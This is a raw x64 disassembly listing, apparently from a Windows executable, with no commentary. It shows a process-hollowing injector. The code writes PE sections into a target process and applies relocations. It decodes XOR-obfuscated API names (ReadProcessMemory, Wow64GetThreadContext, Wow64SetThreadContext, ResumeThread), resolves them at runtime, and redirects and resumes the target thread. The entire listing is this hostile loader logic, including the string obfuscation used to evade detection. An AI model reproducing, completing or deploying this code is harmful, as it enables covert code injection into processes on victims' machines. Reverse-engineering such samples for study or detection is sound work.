jne 0x140002c8c
mov ebx, 0
jmp 0x140003b21
mov qword [rbp + 0xa750], 0
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0xa0]
test eax, eax
je 0x140002cbf
mov rax, qword [rbp + 0xa730]
mov rax, qword [rax + 0xa0]
mov qword [rbp + 0x388], rax
jmp 0x140002cd3
mov dword [rbp + 0x388], 0
mov dword [rbp + 0x38c], 0
mov qword [rbp + 0xa6c8], 0
mov byte [rbp + 0xa6c7], 0
cmp byte [rbp + 0xa71f], 0
je 0x140002e3d
mov dword [rbp + 0xa74c], 0
jmp 0x140002e0b
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xa730]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0xa74c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0xa6b8], rax
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0xc]
cmp edx, eax
jb 0x140002d81
mov edx, dword [rbp + 0x388]
mov rax, qword [rbp + 0xa6b8]
mov ecx, dword [rax + 0xc]
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 8]
add eax, ecx
cmp edx, eax
jae 0x140002d81
mov rax, qword [rbp + 0xa6b8]
mov qword [rbp + 0xa750], rax
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0xa6b8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa6b7], al
movzx eax, byte [rbp + 0xa6b7]
test eax, eax
jne 0x140002e04
mov ebx, 0
jmp 0x140003b21
add dword [rbp + 0xa74c], 1
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xa74c], eax
jl 0x140002d01
cmp qword [rbp + 0xa750], 0
jne 0x140002f2e
mov ebx, 0
jmp 0x140003b21
mov dword [rbp + 0xa748], 0
jmp 0x140002f14
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xa730]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0xa748]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0xa6c8], rax
mov r10, qword [rbp + 0xa6d0]
mov rax, qword [rbp + 0xa6c8]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0xa6c8]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0xa6c8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x430]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa6c7], al
movzx eax, byte [rbp + 0xa6c7]
test eax, eax
jne 0x140002f0d
mov ebx, 0
jmp 0x140003b21
add dword [rbp + 0xa748], 1
mov rax, qword [rbp + 0xa730]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0xa748], eax
jl 0x140002e4c
cmp byte [rbp + 0xa71f], 0
je 0x14000330d
mov dword [rbp + 0xa744], 0
jmp 0x1400032fb
mov rax, qword [rbp + 0xa750]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rdx, rax
mov eax, dword [rbp + 0xa744]
add rax, rdx
mov qword [rbp + 0xa6a8], rax
add dword [rbp + 0xa744], 8
mov rax, qword [rbp + 0xa6a8]
mov eax, dword [rax + 4]
mov eax, eax
sub rax, 8
shr rax, 1
mov dword [rbp + 0xa6a4], eax
mov dword [rbp + 0xa740], 0
jmp 0x1400032e9
mov rax, qword [rbp + 0xa750]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0xa710]
add rdx, rax
mov eax, dword [rbp + 0xa744]
add rax, rdx
mov qword [rbp + 0xa698], rax
add dword [rbp + 0xa744], 2
mov rax, qword [rbp + 0xa698]
movzx eax, byte [rax + 1]
and eax, 0xfffffff0
test al, al
je 0x1400032e1
mov rax, qword [rbp + 0xa6a8]
mov eax, dword [rax]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
add rdx, rax
mov rax, qword [rbp + 0xa698]
movzx eax, word [rax]
and ax, 0xfff
movzx eax, ax
add rax, rdx
mov qword [rbp + 0xa690], rax
mov dword [rbp + 0xc], 0
mov word [rbp - 0x20], 0x62
mov word [rbp - 0x1e], 0x54
mov word [rbp - 0x1c], 0x53
mov word [rbp - 0x1a], 0x57
mov word [rbp - 0x18], 0x64
mov word [rbp - 0x16], 0x47
mov word [rbp - 0x14], 0x59
mov word [rbp - 0x12], 0x54
mov word [rbp - 0x10], 0x5d
mov word [rbp - 0xe], 0x4a
mov word [rbp - 0xc], 0x49
mov word [rbp - 0xa], 0x76
mov word [rbp - 8], 0x59
mov word [rbp - 6], 0x50
mov word [rbp - 4], 0x51
mov word [rbp - 2], 0x4d
mov word [rbp], 0x39
mov word [rbp + 2], 0x41
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa4a8], rax
mov rax, qword [rbp + 0xa4a8]
mov qword [rbp + 0xa4a0], rax
mov rax, qword [rbp + 0xa4a0]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
test al, al
je 0x14000314e
mov rax, qword [rbp + 0xa4a8]
mov rdx, qword [rbp + 0xa4a8]
mov qword [rbp + 0xa498], rdx
mov qword [rbp + 0xa490], rax
mov dword [rbp + 0xa48c], 0
jmp 0x140003144
mov eax, dword [rbp + 0xa48c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa490]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa48c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa498]
mov edx, dword [rbp + 0xa48c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa48c], 1
cmp dword [rbp + 0xa48c], 0x11
jle 0x1400030df
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa688], rax
cmp qword [rbp + 0xa688], 0
jne 0x14000318b
mov ebx, 0
jmp 0x140003b21
lea rax, [rbp - 0x20]
mov qword [rbp + 0xa480], rax
mov rax, qword [rbp + 0xa480]
movzx eax, word [rax + 0x22]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003243
lea rax, [rbp - 0x20]
lea rdx, [rbp - 0x20]
mov qword [rbp + 0xa478], rdx
mov qword [rbp + 0xa470], rax
mov dword [rbp + 0xa46c], 0
jmp 0x140003239
mov eax, dword [rbp + 0xa46c]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa470]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa46c]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa478]
mov edx, dword [rbp + 0xa46c]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa46c], 1
cmp dword [rbp + 0xa46c], 0x11
jle 0x1400031d4
nop
mov dword [rbp + 0xa468], 0
jmp 0x140003265
mov eax, dword [rbp + 0xa468]
cdqe
mov word [rbp + rax*2 - 0x20], 0
add dword [rbp + 0xa468], 1
cmp dword [rbp + 0xa468], 0x11
jle 0x14000324f
nop
mov r10, qword [rbp + 0xa688]
mov rdx, qword [rbp + 0xa690]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
mov edx, dword [rbp + 0xc]
mov eax, dword [rbp + 0xa6dc]
add eax, edx
mov dword [rbp + 0xc], eax
mov r10, qword [rbp + 0xa6d0]
mov rdx, qword [rbp + 0xa690]
mov rax, qword [rbp + 0x430]
lea rcx, [rbp + 0xc]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rcx
mov rcx, rax
call r10
jmp 0x1400032e2
nop
add dword [rbp + 0xa740], 1
mov eax, dword [rbp + 0xa740]
cmp eax, dword [rbp + 0xa6a4]
jb 0x140002f9f
mov eax, dword [rbp + 0x38c]
cmp dword [rbp + 0xa744], eax
jb 0x140002f4a
mov dword [rbp + 0xb0], 0x10000b
mov word [rbp + 0x80], 0x67
mov word [rbp + 0x82], 0x5e
mov word [rbp + 0x84], 0x45
mov word [rbp + 0x86], 5
mov word [rbp + 0x88], 0
mov word [rbp + 0x8a], 0x72
mov word [rbp + 0x8c], 0x53
mov word [rbp + 0x8e], 0x43
mov word [rbp + 0x90], 0x6c
mov word [rbp + 0x92], 0x51
mov word [rbp + 0x94], 0x48
mov word [rbp + 0x96], 0x5e
mov word [rbp + 0x98], 0x5d
mov word [rbp + 0x9a], 0x59
mov word [rbp + 0x9c], 0x7d
mov word [rbp + 0x9e], 0x50
mov word [rbp + 0xa0], 0x2e
mov word [rbp + 0xa2], 0x35
mov word [rbp + 0xa4], 0x27
mov word [rbp + 0xa6], 0x3b
mov word [rbp + 0xa8], 0x30
mov word [rbp + 0xaa], 0x45
lea rax, [rbp + 0x80]
mov qword [rbp + 0xa460], rax
mov rax, qword [rbp + 0xa460]
mov qword [rbp + 0xa458], rax
mov rax, qword [rbp + 0xa458]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x1400034a9
mov rax, qword [rbp + 0xa460]
mov rdx, qword [rbp + 0xa460]
mov qword [rbp + 0xa450], rdx
mov qword [rbp + 0xa448], rax
mov dword [rbp + 0xa444], 0
jmp 0x14000349f
mov eax, dword [rbp + 0xa444]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa448]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa444]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa450]
mov edx, dword [rbp + 0xa444]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa444], 1
cmp dword [rbp + 0xa444], 0x15
jle 0x14000343a
nop
lea rax, [rbp + 0x80]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa680], rax
cmp qword [rbp + 0xa680], 0
jne 0x1400034e9
mov ebx, 0
jmp 0x140003b21
mov r8, qword [rbp + 0xa680]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0xa67f], al
mov r10, qword [rbp + 0xa6d0]
mov eax, dword [rbp + 0x154]
mov eax, eax
add rax, 8
mov rcx, rax
mov rax, qword [rbp + 0x430]
lea rdx, [rbp + 0x3b8]
mov qword [rsp + 0x20], 0
mov r9d, 4
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call r10
test rax, rax
setne al
mov byte [rbp + 0xa67e], al
lea rax, [rbp + 0x80]
mov qword [rbp + 0xa438], rax
mov rax, qword [rbp + 0xa438]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x14000361c
lea rax, [rbp + 0x80]
lea rdx, [rbp + 0x80]
mov qword [rbp + 0xa430], rdx
mov qword [rbp + 0xa428], rax
mov dword [rbp + 0xa424], 0
jmp 0x140003612
mov eax, dword [rbp + 0xa424]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa428]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa424]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa430]
mov edx, dword [rbp + 0xa424]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa424], 1
cmp dword [rbp + 0xa424], 0x15
jle 0x1400035ad
nop
mov dword [rbp + 0xa3f8], 0
jmp 0x140003641
mov eax, dword [rbp + 0xa3f8]
cdqe
mov word [rbp + rax*2 + 0x80], 0
add dword [rbp + 0xa3f8], 1
cmp dword [rbp + 0xa3f8], 0x15
jle 0x140003628
nop
mov word [rbp + 0x50], 0x67
mov word [rbp + 0x52], 0x5e
mov word [rbp + 0x54], 0x45
mov word [rbp + 0x56], 5
mov word [rbp + 0x58], 0
mov word [rbp + 0x5a], 0x66
mov word [rbp + 0x5c], 0x53
mov word [rbp + 0x5e], 0x43
mov word [rbp + 0x60], 0x6c
mov word [rbp + 0x62], 0x51
mov word [rbp + 0x64], 0x48
mov word [rbp + 0x66], 0x5e
mov word [rbp + 0x68], 0x5d
mov word [rbp + 0x6a], 0x59
mov word [rbp + 0x6c], 0x7d
mov word [rbp + 0x6e], 0x50
mov word [rbp + 0x70], 0x2e
mov word [rbp + 0x72], 0x35
mov word [rbp + 0x74], 0x27
mov word [rbp + 0x76], 0x3b
mov word [rbp + 0x78], 0x30
mov word [rbp + 0x7a], 0x45
mov rax, qword [rbp + 0xa730]
mov eax, dword [rax + 0x28]
mov rdx, qword [rbp + 0x3b8]
add eax, edx
mov dword [rbp + 0x160], eax
lea rax, [rbp + 0x50]
mov qword [rbp + 0xa418], rax
mov rax, qword [rbp + 0xa418]
mov qword [rbp + 0xa410], rax
mov rax, qword [rbp + 0xa410]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
test al, al
je 0x1400037b1
mov rax, qword [rbp + 0xa418]
mov rdx, qword [rbp + 0xa418]
mov qword [rbp + 0xa408], rdx
mov qword [rbp + 0xa400], rax
mov dword [rbp + 0xa3fc], 0
jmp 0x1400037a7
mov eax, dword [rbp + 0xa3fc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa400]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3fc]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa408]
mov edx, dword [rbp + 0xa3fc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3fc], 1
cmp dword [rbp + 0xa3fc], 0x15
jle 0x140003742
nop
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa670], rax
mov r8, qword [rbp + 0xa670]
mov rax, qword [rbp + 0x438]
lea rdx, [rbp + 0xb0]
mov rcx, rax
call r8
test rax, rax
setne al
mov byte [rbp + 0xa66f], al
lea rax, [rbp + 0x50]
mov qword [rbp + 0xa3f0], rax
mov rax, qword [rbp + 0xa3f0]
movzx eax, word [rax + 0x2a]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x1400038b9
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x50]
mov qword [rbp + 0xa3e8], rdx
mov qword [rbp + 0xa3e0], rax
mov dword [rbp + 0xa3dc], 0
jmp 0x1400038af
mov eax, dword [rbp + 0xa3dc]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa3e0]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3dc]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3e8]
mov edx, dword [rbp + 0xa3dc]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3dc], 1
cmp dword [rbp + 0xa3dc], 0x15
jle 0x14000384a
nop
mov dword [rbp + 0xa3b0], 0
jmp 0x1400038db
mov eax, dword [rbp + 0xa3b0]
cdqe
mov word [rbp + rax*2 + 0x50], 0
add dword [rbp + 0xa3b0], 1
cmp dword [rbp + 0xa3b0], 0x15
jle 0x1400038c5
nop
mov word [rbp + 0x30], 0x62
mov word [rbp + 0x32], 0x54
mov word [rbp + 0x34], 0x41
mov word [rbp + 0x36], 0x46
mov word [rbp + 0x38], 0x59
mov word [rbp + 0x3a], 0x50
mov word [rbp + 0x3c], 0x62
mov word [rbp + 0x3e], 0x5f
mov word [rbp + 0x40], 0x4a
mov word [rbp + 0x42], 0x5c
mov word [rbp + 0x44], 0x5b
mov word [rbp + 0x46], 0x5f
mov word [rbp + 0x48], 0x3c
lea rax, [rbp + 0x30]
mov qword [rbp + 0xa3d0], rax
mov rax, qword [rbp + 0xa3d0]
mov qword [rbp + 0xa3c8], rax
mov rax, qword [rbp + 0xa3c8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
test al, al
je 0x1400039fc
mov rax, qword [rbp + 0xa3d0]
mov rdx, qword [rbp + 0xa3d0]
mov qword [rbp + 0xa3c0], rdx
mov qword [rbp + 0xa3b8], rax
mov dword [rbp + 0xa3b4], 0
jmp 0x1400039f2
mov eax, dword [rbp + 0xa3b4]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa3b8]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa3b4]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3c0]
mov edx, dword [rbp + 0xa3b4]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa3b4], 1
cmp dword [rbp + 0xa3b4], 0xc
jle 0x14000398d
nop
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.ConvertWCharToLPSTR_wchar_t_const_
mov rdx, rax
mov rax, qword [rbp + 0xa708]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa660], rax
mov rdx, qword [rbp + 0xa660]
mov rax, qword [rbp + 0x438]
mov rcx, rax
call rdx
lea rax, [rbp + 0x30]
mov qword [rbp + 0xa3a8], rax
mov rax, qword [rbp + 0xa3a8]
movzx eax, word [rax + 0x18]
test ax, ax
setne al
xor eax, 1
test al, al
je 0x140003af0
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0x30]
mov qword [rbp + 0xa3a0], rdx
mov qword [rbp + 0xa398], rax
mov dword [rbp + 0xa394], 0
jmp 0x140003ae6
mov eax, dword [rbp + 0xa394]
cdqe
lea rdx, [rax + rax]
mov rax, qword [rbp + 0xa398]
add rax, rdx
movzx eax, word [rax]
mov r8d, eax
mov eax, dword [rbp + 0xa394]
movsxd rdx, eax
imul rdx, rdx, 0x94f2095
shr rdx, 0x20
sar edx, 1
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x37
sub eax, ecx
mov edx, eax
mov eax, edx
add eax, 0x30
xor eax, r8d
mov ecx, eax
mov rax, qword [rbp + 0xa3a0]
mov edx, dword [rbp + 0xa394]
movsxd rdx, edx
mov word [rax + rdx*2], cx
add dword [rbp + 0xa394], 1
cmp dword [rbp + 0xa394], 0xc
jle 0x140003a81
nop
mov dword [rbp + 0xa390], 0
jmp 0x140003b12
mov eax, dword [rbp + 0xa390]
cdqe
mov word [rbp + rax*2 + 0x30], 0
add dword [rbp + 0xa390], 1
cmp dword [rbp + 0xa390], 0xc
jle 0x140003afc
nop
mov ebx, 1
lea rax, [rbp + 0x9e20]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
mov eax, ebx
jmp 0x140003b6f
add rsp, 0xa7e0
pop rbx
pop rdi
pop r12
pop r13
pop rbp
ret